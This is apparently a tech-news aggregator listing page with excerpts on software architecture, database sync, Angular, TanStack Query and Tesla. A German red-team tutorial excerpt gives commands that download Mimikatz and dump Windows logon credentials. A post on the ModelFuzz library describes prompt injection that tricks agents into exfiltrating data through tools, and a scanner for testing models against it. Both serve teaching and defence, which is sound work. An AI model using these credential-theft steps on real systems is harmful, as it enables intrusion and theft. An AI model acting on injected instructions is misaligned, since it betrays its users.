今日已更新 293 条资讯 | 累计 23876 条内容
关于我们

标签：#t

找到 11457 篇相关文章

AI 资讯

We Don’t Have a Software Engineering Problem. We Have a Platform Engineering Problem.

Last month I set out to build a new product, and after a full week I had shipped exactly zero features. Not because I was slow. Not because the work was hard. Because before anyone could write a single line of business logic, my team had to re-decide a dozen things our company should have settled years ago . I've been a full-stack developer for almost five years — long enough to have worn most of the hats: WordPress developer, QA, frontend, backend, solution architect, founding engineer. I've built more than twenty web applications and a handful of mobile ones. Some of them I'm genuinely proud of: systems that poll PLCs every five seconds to watch over industrial equipment, a cybersecurity dashboard that mapped attacks across the world in real time using tree-based graphs, an OTT platform that streamed live events — including FIFA — to millions of concurrent viewers. Today I work on enterprise supply-chain finance software. So when I tell you the hardest part of that new product had nothing to do with code, I know how it sounds. Let me explain. The week that disappeared The experiment was ambitious on purpose. I wanted to build the new application — eventually a microfrontend inside a larger enterprise platform — but I didn't want to write most of it myself. I wanted Claude Code to implement while I acted as the architect: review, test, challenge, refine, repeat. That part worked. The AI wasn't the bottleneck. The bottleneck was everything that came before the first feature. Should we use React? Vite? Keep Create React App because the parent app still runs it — or migrate both? How does the parent consume the child, and does local development still work? Does authentication still work? Does routing? Do we adopt TypeScript when the existing app doesn't, knowing that splits one product into two standards? The app also had to feel native to the existing product — same spacing, typography, colors, interactions — except the company had a component library, not a design s

2026-07-24 原文 →
AI 资讯

Syncle: keep any two databases in sync, live and across engines

You have a row in Postgres. You want that same row in MongoDB — not tonight in a batch job, but the instant it changes. And next month you'll want it in Redis too, and maybe POSTed to some webhook. Today that's a Kafka cluster, a Debezium connector, a sink connector, a schema registry, and a weekend. For a job that is, at its heart, one sentence: a source → one or more destinations → kept in sync. Syncle is an open-source tool that does exactly that sentence, and nothing you didn't ask for. Connect your databases, draw a bridge from a source to one or more destinations, and the moment a row changes in the source it's written to every destination you linked. Any engine to any engine — PostgreSQL · MySQL/MariaDB · SQLite · MongoDB · Redis — plus HTTP endpoints when you need them. This post is a tour of what it does and, for the curious, how it's built. The core idea: a bridge A bridge reads rows from a source and writes each one to its destinations . A destination is either: another database — the headline feature. Postgres → MongoDB, MySQL → SQLite, MongoDB → Redis. One bridge can fan out to several databases at once, and bridges can chain (A → B → C). an HTTP endpoint — POST/PUT/PATCH each row to a URL with a payload you design, for feeding a service instead of a database. The interesting part isn't that it copies data — plenty of things copy data. It's the guarantees around how . No duplicates, ever Every database write is an idempotent upsert , keyed by columns you choose. So replays, retries, and at-least-once redeliveries never double-write. Under the hood each engine does it with its own native atomic operation: Engine Upsert PostgreSQL / SQLite INSERT ... ON CONFLICT MySQL INSERT ... ON DUPLICATE KEY UPDATE MongoDB updateOne(filter, ..., { upsert: true }) Inserts, updates, and deletes all propagate — a delete routes to a keyed delete on each target. Missing table? It builds it If the destination table or collection doesn't exist, Syncle creates it from the sou

2026-07-24 原文 →
开发者

Module Federation Workspace - Anguler

Angular 21 Module Federation: Build a Micro Frontend Workspace with One Host and Three Remotes If you're exploring Micro Frontends with Angular 21, one of the first questions you'll encounter is: "How do I set up a complete Module Federation workspace that actually works with Angular 21?" After a few iterations (and a couple of version mismatches), I successfully created a housekeeping/admin platform using Angular 21 Native Federation with: 1 Host Application 3 Remote Applications Shared routing Native Federation (esbuild) Single command startup By the end of this tutorial, you'll have the following architecture running locally: +----------------+ | host-app | | Port: 4200 | +--------+-------+ | --------------------------------------- | | | v v v +-------------+ +-------------+ +-------------+ | auth-app | | user-app | | role-app | | Port: 4201 | | Port: 4202 | | Port: 4203 | +-------------+ +-------------+ +-------------+ Project Overview This sample project represents a basic housekeeping/admin platform. Application Purpose Port host-app Shell, navigation, remote loading 4200 auth-app Login, logout, access denied 4201 user-app User management 4202 role-app Role management 4203 Host Routes /auth -> auth-app /users -> user-app /roles -> role-app Prerequisites My development environment: Angular CLI : 21.2.19 Node.js : 22.23.1 npm : 10.9.8 OS : macOS (arm64) Angular 21 works well with Native Federation. If you're starting fresh, I recommend pinning Angular CLI to version 21 to avoid compatibility issues. Step 1: Install Angular CLI 21 npm i -g @angular/cli@21 Verify: ng version Expected output: Angular CLI: 21.x Step 2: Create an Empty Workspace Instead of generating an application immediately, create an empty Angular workspace. ng new housekeeping-mf \ --create-application false \ --routing \ --style css \ --skip-git Move into the project: cd housekeeping-mf Step 3: Generate Applications Generate one host and three remotes. ng generate application host-app --routing

2026-07-24 原文 →
AI 资讯

Red Team Basics: Pass-the-Hash & Kerberoasting – So greifen echte Angreifer an

Red Team Basics: Pass-the-Hash & Kerberoasting – So greifen echte Angreifer an „Manche nennen es ein Hack‑Werkzeug, ich nenne es ein Koffer voller Schlüssel.“ – Dieser provokante Gedanke brachte mich 2019 zum ersten Mal an die Grenze des Pass‑the‑Hash (PtH) . In den folgenden Jahren habe ich unzählige Pentests geleitet und dabei beobachtet, wie schnell ein einzelner Hash ein ganzes Netzwerk öffnet. In diesem Artikel zerlegen wir die beiden Klassiker — Pass‑the‑Hash und Kerberoasting — und zeigen, warum sie in echten Angriffen immer noch die ersten Optionen sind. Wir gehen nicht um den heißen Brei herum: konkrete Befehle, Schritt‑für‑Schritt‑Beispiele und meine persönliche Bewertung nach jedem Abschnitt . Was ist Pass‑the‑Hash? Pass‑the‑Hash ist kein neues Konzept, aber die meisten Defender‑Teams unterschätzen seine Power. Statt ein Passwort zu knacken, übernimmt der Angreifer lediglich den NTLM‑Hash , den das System bereits hat, und authentifiziert sich damit gegenüber anderen Hosts. Beispiel 1 – Mimikatz nutzen, um einen Hash zu extrahieren # Auf dem kompromittierten Windows‑Host type C: \W indows \S ystem32 \c md.exe # Mimikatz herunterladen (nur zu Demonstrationszwecken) Invoke-WebRequest -Uri "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0/mimikatz_trunk.zip" -OutFile "mimikatz.zip" Expand-Archive mimikatz.zip -DestinationPath . # Im Mimikatz‑Prompt den Hash aus dem Speicher auslesen mimikatz # privilege::debug mimikatz # sekurlsa::logonpasswords Die Ausgabe liefert Zeilen wie: Authentication Id : 0x3e8 (1000) User Name : admin Domain : CORP Logon Server : \DC01 NTLM : 31d6cfe0d16ae931b73c59d7e0c089c0 Der NTLM‑Hash 31d6cfe0… ist jetzt unser Ticket. Bewertung Ich habe das schon in unzähligen Projekten gesehen – sobald ein Administrator-Account auf einem Workstation-Host läuft, ist er ein Goldgräber. Der entscheidende Punkt ist, dass kein Brute‑Force nötig ist. Der Hash ist bereits valide, weil das System ihn selbst ausgibt. Kerberoasting verstehen

2026-07-24 原文 →
AI 资讯

# 📓 TanStack Query: Core Concepts & Summary

1. Introduction: What is TanStack Query? TanStack Query (formerly React Query) is a framework-agnostic state management library designed specifically to manage Server State —handling data fetching, caching, background updating, and cache invalidation. 2. Server State vs. Client State & The Memory Reality Client State: Owned and controlled entirely by the browser (e.g., isModalOpen , selected UI theme). Server State: Owned by the remote backend database (e.g., user profiles, posts, cart items). The browser only holds a read-only temporary snapshot . Where is data physically stored? Physical Location: By default, cached data lives strictly in the browser tab's JavaScript RAM (In-Memory) . Backend ("The Server"): Refers to your remote API/database (regardless of whether it runs on Kubernetes, Docker containers, serverless functions, or bare metal). Optional Persistence: You can opt to sync this RAM cache to localStorage , sessionStorage , or IndexedDB using TanStack Query Persisters. import React , { useState } from ' react ' ; import { QueryClient , QueryClientProvider , useQuery , useMutation , useQueryClient , } from ' @tanstack/react-query ' ; // 1. Initialize QueryClient (manages the RAM cache) const queryClient = new QueryClient ({ defaultOptions : { queries : { staleTime : 10000 , // Data stays fresh in RAM for 10 seconds }, }, }); // Mock API functions async function fetchPost ( postId ) { const res = await fetch ( `[https://jsonplaceholder.typicode.com/posts/$](https://jsonplaceholder.typicode.com/posts/$){postId}` ); if ( ! res . ok ) throw new Error ( ' Network error ' ); return res . json (); } async function createPost ( newPost ) { const res = await fetch ( ' [https://jsonplaceholder.typicode.com/posts](https://jsonplaceholder.typicode.com/posts) ' , { method : ' POST ' , headers : { ' Content-Type ' : ' application/json ' }, body : JSON . stringify ( newPost ), }); return res . json (); } // 2. Query Component (Fetching & Reading Data) function PostViewe

2026-07-24 原文 →
AI 资讯

I built a Python library to stop AI agents from leaking secrets (ModelFuzz)

I've been building AI agents lately, and honestly, their security model terrifies me. We give LLMs access to powerful tools like shell.run , http.post , and fs.read . But if an agent reads a malicious email or a poisoned webpage, it can be tricked by prompt injection into using those tools to exfiltrate data. Hoping the LLM refuses the attack isn't a real security strategy. So, I built ModelFuzz. It's an open-source Python library that intercepts the tool call at the execution layer. The defense: @shield_tool Instead of trying to filter prompts, ModelFuzz checks the arguments before the tool runs. If it detects a policy violation, like a stolen API key or an unsafe URL, the tool simply doesn't execute. from modelfuzz import shield_tool @shield_tool def send_email ( to_address : str , subject : str , body : str ) -> None : smtp . send ( to_address , subject , body ) Even if the LLM is completely tricked by a prompt injection, the tool never fires. The offense: modelfuzz scan I also built a CLI scanner that red-teams your agent. It fires deceptive prompt injection attacks at your local model to see if it can be tricked into calling a tool. modelfuzz scan --endpoint http://localhost:11434/v1 --model qwen2.5:1.5b I tested it against a local qwen2.5:1.5b model, and it got breached 4 out of 5 times. Try it out It's 100% open source and live on PyPI. pip install "modelfuzz[scan]" GitHub: higagan/modelfuzz Website: modelfuzz.com I'd love to know what security policies you think are missing, or what agent frameworks you want supported next!

2026-07-24 原文 →
AI 资讯

Tesla’s robotaxi promises are clashing with reality

In an earnings call yesterday, Tesla CEO Elon Musk did his best to paint a positive portrait of the company's robotaxi program. New cities are being added, more miles are being driven, and more people are experiencing Tesla's unsupervised vehicles. But Musk's typical bullishness seemed to be absent from the call, as the occasional trillionaire […]

2026-07-24 原文 →
← 上一页 下一页 →